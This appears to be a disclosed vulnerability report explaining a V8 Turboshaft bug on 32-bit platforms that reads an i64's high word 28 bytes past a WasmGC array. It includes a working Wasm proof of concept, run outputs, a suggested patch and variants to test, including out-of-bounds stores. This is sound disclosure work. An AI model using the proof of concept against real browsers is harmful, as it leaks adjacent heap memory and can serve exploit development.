  2. array is the array object being read from.
  3. __ ChangeInt32ToIntPtr(index) converts the 32-bit index into the pointer-sized integer the machine uses for addresses.
  4. load_kind says what kind of load this is.
  5. RepresentationFor(array_type->element_type(), is_signed) says how the element should be represented (signed or unsigned) based on the array's element type.
  6. WasmArray::kHeaderSize is the offset of 12 bytes, the distance from the start of the object to the first element.
  7. array_type->element_type().value_kind_size_log2() is the element scale, 3 for i64, meaning each element is 8 bytes.

Step 2: the constant gets folded into the offset

C++
// src/compiler/turboshaft/machine-optimization-reducer.h:2732-2744
} else if (const WordBinopOp* binary_op =
               index_op.TryCast<WordBinopOp>()) {
  if (binary_op->kind == WordBinopOp::Kind::kAdd &&
      TryAdjustOffset(offset, matcher_.Get(binary_op->right()),
                      *element_scale, tagged_base)) {
    index = binary_op->left();
    continue;  // element_scale is PRESERVED
  }
}

Line by line:

  1. The code checks whether the index was computed by a binary operation (something combining two values), and if so treats it as binary_op.
  2. It checks that the operation is an addition (kAdd).
  3. It tries to move the right-hand side of the addition into the offset with TryAdjustOffset, passing the current offset, the constant, the element scale and whether the base is tagged.
  4. If that succeeds, the index becomes just the left-hand side, the variable part.
  5. continue moves on to the next iteration, and the comment stresses that element_scale is kept as it was.

When the Wasm code computes array.get(arr, param + 268435454), the constant 268435454 is folded into the offset by TryAdjustOffset (lines 2646-2670), which multiplies it by 1 << element_scale. That gives offset = 12 + 268435454 * 8 = 2147483644, which is INT32_MAX - 3. Crucially, element_scale stays at 3.

TryAdjustOffset then checks the new offset with LoadOp::OffsetIsValid(2147483644, true), which tests offset >= INT32_MIN + kHeapObjectTag = INT32_MIN + 1. That check passes, so the folded offset is accepted.

Step 3: the 64-bit load is split in two

C++
// src/compiler/turboshaft/int64-lowering-reducer.h:347-358
if (loaded_rep == MemoryRepresentation::Int64() || ...) {
  auto [high_index, high_offset] =
      IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
  return __ MakeTuple(
      Next::ReduceLoad(base, index, kind, ..., offset, element_scale),
      Next::ReduceLoad(base, high_index, kind, ..., high_offset, element_scale));
      //                                                         ^^^^^^^^^^^^^ BUG
}

Line by line:

  1. The code checks whether the value being loaded is a 64-bit integer (signed or unsigned).
  2. It asks IncreaseOffset for the index and offset to use for the high word, passing the current index, the current offset, the size of a 32-bit integer (4 bytes) and whether the base is tagged.
  3. It builds a pair of loads with MakeTuple.
  4. The first load reads the low word using the original index and offset.
  5. The second load reads the high word using the index and offset that IncreaseOffset returned.
  6. The comment marks the element_scale argument on that second load as the source of the bug: the scale is still applied to the high-word load.

Step 4: IncreaseOffset takes the fallback path

C++
// src/compiler/turboshaft/int64-lowering-reducer.h:297-320
std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(OptionalV<Word32> index,
                                                     int32_t offset,
                                                     int32_t add_offset,
                                                     bool tagged_base) {
  int32_t new_offset =
      static_cast<uint32_t>(offset) + static_cast<uint32_t>(add_offset);
  // new_offset = 2147483644 + 4 = 2147483648 → wraps to INT32_MIN as int32_t
  OptionalV<Word32> new_index = index;
  if (!LoadOp::OffsetIsValid(new_offset, tagged_base)) {
    // INT32_MIN < INT32_MIN + 1 → invalid for tagged loads
    new_offset = offset;  // keep original offset
    if (index.has_value()) {
      new_index = __ Word32Add(new_index.value(), add_offset);
      // Adds 4 to the INDEX — but element_scale=3 will be applied later!
    }
  }
  return {new_index, new_offset};
}

Line by line:

  1. The function takes an index (which may be absent), an offset, an amount to add, and whether the base is tagged.
  2. It adds the two numbers as unsigned 32-bit values, so the arithmetic wraps around instead of failing.
  3. The comment shows the concrete case: 2147483644 + 4 = 2147483648, which as a signed 32-bit number is INT32_MIN.
  4. It starts by assuming the index stays the same.
  5. It checks whether the new offset is valid for this kind of load.
  6. If it is not valid (the comment notes INT32_MIN is below the minimum allowed for tagged loads), it keeps the original offset.
  7. If there is an index, it adds the increment to the index instead.
  8. The comment points out the flaw: 4 is added to the index, but the scale of 3 will be applied to that index later.
  9. It returns the new index and offset.

IncreaseOffset has no idea about element_scale. When it adds 4 to the index, the later load applies element_scale=3, so the effective byte offset becomes 4 * 8 = 32 instead of the intended 4.

The resulting address computation:

  • Low word (correct): base + index*8 + 2147483644
  • High word (buggy): base + (index+4)*8 + 2147483644 = base + index*8 + 32 + 2147483644
  • High word (correct): base + index*8 + 2147483644 + 4
  • Error: 32 - 4 = 28 bytes

What has to be true for the bug to appear

  1. A 32-bit platform (ia32 or ARM), because Int64LoweringReducer only runs on 32-bit.
  2. A WasmGC i64 array, so that element_scale=3 and tagged_base=true.
  3. An array index computed as Add(variable, large_constant). This is what allows partial constant folding: the constant goes into the offset while the variable stays as the index and the scale is kept.
  4. A constant of exactly (INT32_MAX - 3 - kHeaderSize) / 8 = 268435454. That produces offset INT32_MAX - 3, so adding 4 wraps to INT32_MIN.
  5. The function compiled with Turboshaft, either through tier-up after roughly 40,000 calls or immediately with --no-liftoff.

Reproducing it

The proof of concept builds a one-element i64 array, stores 0x1111111100000001 in it, and reads element param + BIG_CONST with param = -BIG_CONST. The effective index is therefore 0, so the bounds check passes. The high word is nevertheless read from offset 44, which is 24 bytes past the end of the 20-byte array.

JavaScript
// PoC: Int64LoweringReducer IncreaseOffset incorrect address computation
// Affects: 32-bit platforms (ia32, ARM) when compiled with Turboshaft
// Bug: High word of i64 loaded from wrong address (28 bytes off)
//
// Run with: out/ia32.release/d8 --no-liftoff poc.js
//       or: out/ia32.release/d8 poc.js  (triggers via natural tier-up)

d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");

let builder = new WasmModuleBuilder();
let array_type = builder.addArray(kWasmI64);

// This constant causes MachineOptimizationReducer to fold it into the Load offset:
// offset = kHeaderSize + BIG_CONST * 8 = 12 + 268435454*8 = 2147483644 = INT32_MAX-3
// Adding 4 for the high word wraps to INT32_MIN, triggering the IncreaseOffset bug
const BIG_CONST = 268435454;

builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
  .addLocals(wasmRefNullType(array_type), 1)
  .addBody([
    // Create array of 1 i64 element (20 bytes total).
    // Correct high word: offset 16 (within array).
    // Buggy high word:   offset 44 (24 bytes PAST array end).
    ...wasmI32Const(1),
    kGCPrefix, kExprArrayNewDefault, array_type,
    kExprLocalSet, 1,

    // Set element 0 = 0x1111111100000001 (low=0x00000001, high=0x11111111)
    kExprLocalGet, 1,
    ...wasmI32Const(0),
    ...wasmI64Const(0x1111111100000001n),
    kGCPrefix, kExprArraySet, array_type,

    // Read element at index (param + BIG_CONST)
    // When param=-BIG_CONST, effective index=0, bounds check passes
    // But high word is read from offset 44 — 24 bytes past the array end
    kExprLocalGet, 1,
    kExprLocalGet, 0,
    ...wasmI32Const(BIG_CONST),
    kExprI32Add,
    kGCPrefix, kExprArrayGet, array_type,
  ])
  .exportFunc();

let instance = builder.instantiate();

let expected = 0x1111111100000001n;
let bugDetected = false;

// Call enough times to trigger tier-up to Turboshaft
for (let i = 0; i < 100000; i++) {
  let result = instance.exports.test(-BIG_CONST);
  if (result !== expected) {
    print("BUG DETECTED on iteration " + i + "!");
    print("Expected: 0x" + expected.toString(16));
    print("Got:      0x" + result.toString(16));
    print("Low word:  0x" + (result & 0xFFFFFFFFn).toString(16));
    print("High word: 0x" + ((result >> 32n) & 0xFFFFFFFFn).toString(16));
    print("High word read from offset 44 — 24 bytes past the 20-byte array end");
    bugDetected = true;
    break;
  }
}

if (!bugDetected) {
  print("No bug detected (function may not have tiered up to Turboshaft)");
}

Line by line:

  1. The first comment block explains what the file is, which platforms are affected, and how to run it.
  2. d8.file.execute(...) loads the helper script that provides WasmModuleBuilder and the constants used below.
  3. new WasmModuleBuilder() creates an empty Wasm module to fill in.
  4. builder.addArray(kWasmI64) declares an array type whose elements are 64-bit integers.
  5. The comment explains the arithmetic behind BIG_CONST: 12 plus 268435454 times 8 equals 2147483644, which is INT32_MAX - 3.
  6. const BIG_CONST = 268435454; sets the magic constant.
  7. builder.addFunction("test", makeSig([kWasmI32], [kWasmI64])) declares a function named test that takes a 32-bit integer and returns a 64-bit integer.
  8. .addLocals(wasmRefNullType(array_type), 1) gives the function one local variable to hold the array.
  9. .addBody([...]) starts the function body, written as a list of Wasm instructions.
  10. The comments describe the array: one i64 element, 20 bytes in total, with the correct high word at offset 16 and the buggy one at offset 44.
  11. ...wasmI32Const(1), kGCPrefix, kExprArrayNewDefault, array_type creates a new array with one element, all zero.
  12. kExprLocalSet, 1 stores the new array in local 1.
  13. The next comment says element 0 will be set to 0x1111111100000001, with low word 0x00000001 and high word 0x11111111.
  14. kExprLocalGet, 1 pushes the array, ...wasmI32Const(0) pushes the index 0, and ...wasmI64Const(0x1111111100000001n) pushes the value.
  15. kGCPrefix, kExprArraySet, array_type writes the value into element 0.
  16. The next comment explains the read: the index is param + BIG_CONST, and with param = -BIG_CONST the effective index is 0, so the bounds check passes, yet the high word is read from offset 44.
  17. kExprLocalGet, 1 pushes the array, kExprLocalGet, 0 pushes the parameter, ...wasmI32Const(BIG_CONST) pushes the constant, and kExprI32Add adds them.
  18. kGCPrefix, kExprArrayGet, array_type reads the element at that index and returns it.
  19. .exportFunc() makes the function callable from JavaScript.
  20. builder.instantiate() builds the module and creates a runnable instance.
  21. expected holds the value that should come back, and bugDetected is a flag.
  22. The loop calls the function 100,000 times, enough to trigger tier-up to Turboshaft.
  23. Each call passes -BIG_CONST, so the effective index is 0.
  24. If the result differs from the expected value, the script prints the iteration number, the expected and actual values, and the low and high words, then stops.
  25. The final check prints a message if the bug never appeared, for example because the function was never compiled by Turboshaft.

Version 1: forcing the fast compiler

Bash
out/ia32.release/d8 --no-liftoff poc.js

This runs the 32-bit release build of d8 on the proof of concept. --no-liftoff tells V8 to skip its simple first compiler and go straight to Turboshaft, so the bug appears on the very first call instead of after tens of thousands.

Result on ia32 release:

Text
BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

The high word is read from offset 44, while the one-element array ends at offset 20 (kHeaderSize + 1*8). That confirms the read is 24 bytes past the array allocation. The value 0x0 is simply whatever happened to be in the adjacent heap memory.

Version 2: letting V8 speed up on its own

Bash
out/ia32.release/d8 poc.js

No flags this time. V8 starts with its simple compiler and switches to Turboshaft once the function has been called often enough, which is why the failure only appears after many iterations.

Result on ia32 release:

Text
BUG DETECTED on iteration 52252!
Expected: 0x1111111100000001
Got:      0x100000001
Low word:  0x1
High word: 0x1
High word read from offset 44 — 24 bytes past the 20-byte array end

Result on ARM release with --no-liftoff:

Text
BUG DETECTED on iteration 35795!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

On x64 the bug does not reproduce, because Int64LoweringReducer does not run on 64-bit platforms:

Bash
out/x64.release/d8 --no-liftoff poc.js
# Output: No bug detected (function may not have tiered up to Turboshaft)

Debug build

Bash
out/ia32.debug/d8 --no-liftoff poc.js

A debug build is a version of V8 compiled with extra checks and diagnostic helpers, which is why the value it leaks looks different.

Result on ia32 debug:

Text
BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x-21524110ffffffff
Low word:  0x1
High word: 0xdeadbeef
High word read from offset 44 — 24 bytes past the 20-byte array end

The leaked high word 0xdeadbeef is V8's debug zap value for uninitialised or freed memory. Seeing it confirms the read reached adjacent uninitialised heap memory. No DCHECK fires, because the inputs to IncreaseOffset are each valid on their own: the mistake is in meaning (the scale is not taken into account), not a simple out-of-bounds number.

Root cause

The IncreaseOffset function in Int64LoweringReducer does not account for element_scale when it falls back to adding the offset increment to the index. The fallback is only reached when the offset plus 4 overflows into INT32_MIN, which is invalid for tagged-base loads. In that case the increment is applied to the index, but the load still applies element_scale to that index, so the increment is multiplied by the element size. For i64 arrays that turns a 4-byte increment into a 32-byte one, and the high word is read 28 bytes past where it should be.

The bug was introduced by commit [redacted], which added IncreaseOffset to handle offset overflow when splitting 64-bit loads:

Text
commit [redacted]
Author: Matthias Liedtke <[redacted]>
Date:   Thu Jun 13 12:45:48 2024 +0200

    [wasm][turboshaft] Fix Load offset overflow in Int64Lowering

    Same as https://crrev.com/c/5608453 but for the LoadOp.
    The offset may be any value excluding int32 min for tagged loads.

    Fixed: 346505953
    Bug: 344014332
    Change-Id: [redacted]
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/5626025
    Cr-Commit-Position: refs/heads/main@{#94430}

A commit is a saved change to the source code, with a message explaining it. This one was meant to fix a different offset overflow issue (crbug 346505953) but introduced this one: the fallback path does not account for element_scale when adding to the index. The existing regression test (test/mjsunit/regress/wasm/regress-346505953.js) only checks that an out-of-bounds access traps. It does not exercise the fallback path with a variable index and element_scale > 0.

Impact

On 32-bit ia32 and ARM builds, a WasmGC i64 array access whose index is variable + 268435454 can make the high word of the loaded i64 come from 28 bytes past the intended address, reading adjacent heap memory. The reporter's own assessment limits the practical severity: the address offset cannot be changed (only 28 is possible), the access lands in a benign area, and Wasm memory is guarded by guard pages. The report does not describe any path to arbitrary read or write, and the value read is whatever happens to sit in adjacent heap memory.

The fix

The suggested patch normalises element_scale to 0 by folding the shift into the index before the 64-bit load is split. That way, when IncreaseOffset falls back, its increment of 4 is a plain byte increment whether it goes to the offset field or to the index.

Diff
@@ -347,6 +347,13 @@
     if (loaded_rep == MemoryRepresentation::Int64() ||
         loaded_rep == MemoryRepresentation::Uint64()) {
+      // When element_scale > 0, fold it into the index before splitting.
+      // IncreaseOffset adds to the index on fallback, but the element_scale
+      // would still be applied, causing an incorrect address for the high word.
+      if (element_scale > 0 && index.has_value()) {
+        index = __ Word32ShiftLeft(index.value(), element_scale);
+        element_scale = 0;
+      }
       auto [high_index, high_offset] =
           IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
       return __ MakeTuple(

Line by line:

  1. The @@ line says where in the file the change goes.
  2. The two context lines show the existing check for a 64-bit load.
  3. The added comment explains why the scale is folded into the index first.
  4. The if checks that there is a scale to fold and that an index exists.
  5. index = __ Word32ShiftLeft(index.value(), element_scale); multiplies the index by the element size by shifting it left, which is the same as multiplying by a power of two.
  6. element_scale = 0; clears the scale, because it has now been applied to the index.
  7. The remaining context lines show the call to IncreaseOffset and the two loads, unchanged.

The reporter notes that the atomic code paths (lines 326-338) already pre-fold element_scale in the same way, and that the same fix should be applied to the REDUCE(Store) handler (line 388-400), which has the identical bug.

Variants worth testing

  1. 64-bit stores to WasmGC i64 arrays with an index of variable + 268435454 on ia32 or ARM. A positive result is a store whose high word lands 28 bytes past the intended slot, visible as corruption of adjacent heap memory or a mismatch when reading the slot back.
  2. Other element sizes with element_scale > 0 (for example i32 or f64 arrays) combined with a constant that pushes the folded offset to INT32_MAX - 3. A positive result is a high word read from base + (index+4)*scale + offset rather than base + index*scale + offset + 4.
  3. The same pattern on other 32-bit backends that run Int64LoweringReducer. A positive result is the same 28-byte discrepancy for i64 arrays, or the corresponding 4*scale - 4 discrepancy for other element sizes.
  4. Atomic load and store paths with element_scale > 0. These already pre-fold the scale, so a positive result would indicate a separate gap in that handling.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
  • ARM: a family of processor designs, often used in 32-bit and 64-bit forms, common in phones and embedded devices.
  • Atomic: an operation that happens as a single indivisible step, so nothing else can observe it half done.
  • Base address: the starting address in memory that an offset is added to.
  • Bounds check: a check that an array index is within the array, so out-of-range access is stopped.
  • CVE: a public identifier for a known vulnerability.
  • Commit: a saved change to source code, with a message describing it.
  • Compiler: a program that translates code into instructions the processor can run, often optimising it.
  • Constant folding: doing arithmetic on fixed values ahead of time and storing the result in the instruction.
  • d8: V8's command-line shell for running JavaScript and Wasm outside a browser.
  • DCHECK: a sanity check compiled into debug builds that stops the program if an assumption is violated.
  • Debug build: a version of a program compiled with extra checks and diagnostic helpers.
  • Element scale: how many bytes each array element takes, stored as a power of two (scale 3 means 8 bytes).
  • Guard page: a memory page the operating system refuses to let the program touch, used as a tripwire.
  • High word: the more significant 32 bits of a 64-bit value.
  • i32 / i64: 32-bit and 64-bit integers.
  • ia32: the 32-bit version of the x86 processor family.
  • Index: the position of an element in an array, starting at 0.
  • INT32_MAX / INT32_MIN: the largest and smallest values a signed 32-bit integer can hold.
  • Load: an instruction that reads a value from memory.
  • Low word: the less significant 32 bits of a 64-bit value.
  • Offset: a fixed number of bytes added to a base address to reach a field.
  • Overflow / wrap-around: when arithmetic goes past the largest value and rolls over to the smallest, like an odometer.
  • Reducer: a small pass in Turboshaft that simplifies or rewrites part of the program.
  • Register: a small, fast storage slot inside the processor.
  • Store: an instruction that writes a value to memory.
  • Tagged pointer / tagged base: a pointer with a small tag in its low bits, used by V8 to mark heap objects.
  • Tier-up: V8's switch from a simple compiler to a faster one once a function is used enough.
  • Turboshaft: one of V8's compilers, which rewrites functions into a faster form.
  • V8: the JavaScript and WebAssembly engine inside Google Chrome.
  • Wasm (WebAssembly): a second language browsers can run, designed to be fast and compact.
  • WasmGC: the part of WebAssembly that supports garbage-collected objects such as arrays and structs.
  • x64: the 64-bit version of the x86 processor family.
  • Zap value: a recognisable filler pattern written into memory by debug builds, so reading uninitialised or freed memory shows up clearly.

More by JunYoung Park

View all

2 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.